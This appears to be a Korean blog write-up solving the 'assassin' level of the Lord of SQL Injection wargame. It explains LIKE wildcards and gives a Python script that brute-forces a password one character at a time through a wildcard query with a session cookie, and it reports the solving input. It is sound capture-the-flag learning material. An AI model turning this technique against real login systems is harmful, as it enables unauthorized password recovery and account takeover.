도카이트

[Wargame] Lord of SQL Injection - assassin 본문

Wargame/Lord of SQL Injection

[Wargame] Lord of SQL Injection - assassin

dodoh4t 2022. 6. 10. 21:57
728x90
반응형

문제 화면

[LoS - assassin]

- 5행의 preg_match 함수를 통해 pw 값에 대하여 싱글 쿼터를 필터링하고 있다.

- like 구문을 사용하여 pw 값을 찾아서 가져오는 쿼리문이다.

- 이전 문제들과는 다르게 like 구문의 특성을 이용하여 풀어야하는 문제인듯 하다.

- 먼저 like 구문에 대하여 쓰임새와 특징에 대해 알아보자 !

 

 

Like 구문

: 쿼리문 WHERE 절에 주로 사용되며, 부분적으로 일치하는 칼럼을 찾을 때 사용

SELECT * FROM [테이블명] WHERE LIKE [조건]

- _ : 글자 수를 설정 (ex. pw like a___ 또는 __a)

- % : 글자 수를 설정하지 않음

- %a%: 전체 문자열에 a가 존재

- a% : 문자열이 a로 시작 (ex. pw like ab% 또는 abc%)

- %a : 문자열이 a로 끝 (ex. pw like %ba 또는 %cba)

 

 

 

%나 _ 를 이용하여 각 자리 수 패스워드를 알아낼 때마다 문자열을 각 자리마다 추가하여,

최종적으로 admin이 결과값으로 출력될 때까지, 반복 작업하여 pw를 알아내면 될 듯 하다.

 

이번 문제도 당연히 파이썬을 이용하여 문자들을 대입하여 패스워드 값을 알아보도록 한다.

그러나, 각 자리 수를 한 번에 알아내고 싶었으나, 문자열 포맷에 각 자리 수를 알아내고,

알아낸 값을 추가하여 request를 보내도록 조건을 설정하는 부분에서 많은 까다로움이 있어서

한 자릿 값에 대하여 패스워드를 알아보도록 코드를 작성하고 각 자리 수에 알아낸 값을

수동적으로 추가 작성하여 코드를 다시 실행하는 식으로 문제를 풀이했다.

(프로그래밍 공부를 소홀히 하면 안되는 이유를 다시 한 번 느낀다 …)

 

admin과 guest의 패스워드가 일정 부분 중복되는 부분이 있을 수도 있기에,

해당 부분을 유의하여 admin을 나타내는 패스워드가 출력될 때까지, 수동적으로

코드를 반복 수정 실행해보도록 한다 !

 

 

los_assassin.py 작성

import requests

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
pw_admin = ""
pw_guest = ""


for i in range(48, 122):
    target_url = url+'?pw={}%'.format(chr(i))
    cookies = {'PHPSESSID':'사용자 PHPSESSID 값'}
    r = requests.get(url=target_url, cookies=cookies)
        
        
    if "Hello admin" in r.text:
        pw_admin += chr(i)
        print("패스워드_admin : "+chr(i))
        break

    if "Hello guest" in r.text:
        pw_guest += chr(i)
        print("패스워드_guest : "+chr(i))
        break

- 기존과 다르게 아스키 코드를 이용하여 대입하는 range 값을 (48, 122)로 수정하였다.

- 기존처럼 33부터 range를 설정할 경우 중간에 % 문자가 존재하여 와일드 카드 부분이 %%로 True가 돼버린다.

- 따라서 일부 특수문자를 제외한 48부터 122로 설정하여 코드를 실행하였다.

- 또한 코드를 실행 후 획득한 패스워드 값을 target_url 행의 format 함수 대입부 {} 앞에 추가하여 재실행을 반복한다.

- 최종적으로 "패스워드_admin : " 의 값이 출력될 때까지 코드를 추가 · 수정 · 실행하면 된다.

- 다행히 중복되는 패스워드 값이 많지 않아 총 3번 만에 문제를 해결할 수 있었다.

 

 

los_assassin.py 실행 결과 및 assassin solve

[los_assassin.py 실행 결과 및 assassin solve]

- los_assassin.py 에서 설명한 내용들이 다소 이해가 안갈 수도 있어 추가적으로 설명을 작성했다.

- 90 까지의 값을 구하고 세 번째 자리 2를 구할 때 패스워드_admin 이 출력되었다.

- 즉, 첫 번째와 두 번째 자리 pw 값은 admin과 guest 가 동일하며, 세 번째 자리부터 값이 다르다.

- 얻을 세 자리 pw 값을 통하여 pw 파라미터 값에 902%를 입력하여 주면..

 

 

assassin Clear

[LoS - assassin clear]

- 성공적으로 assassin 문제를 Clear 할 수 있다 !

728x90
Comments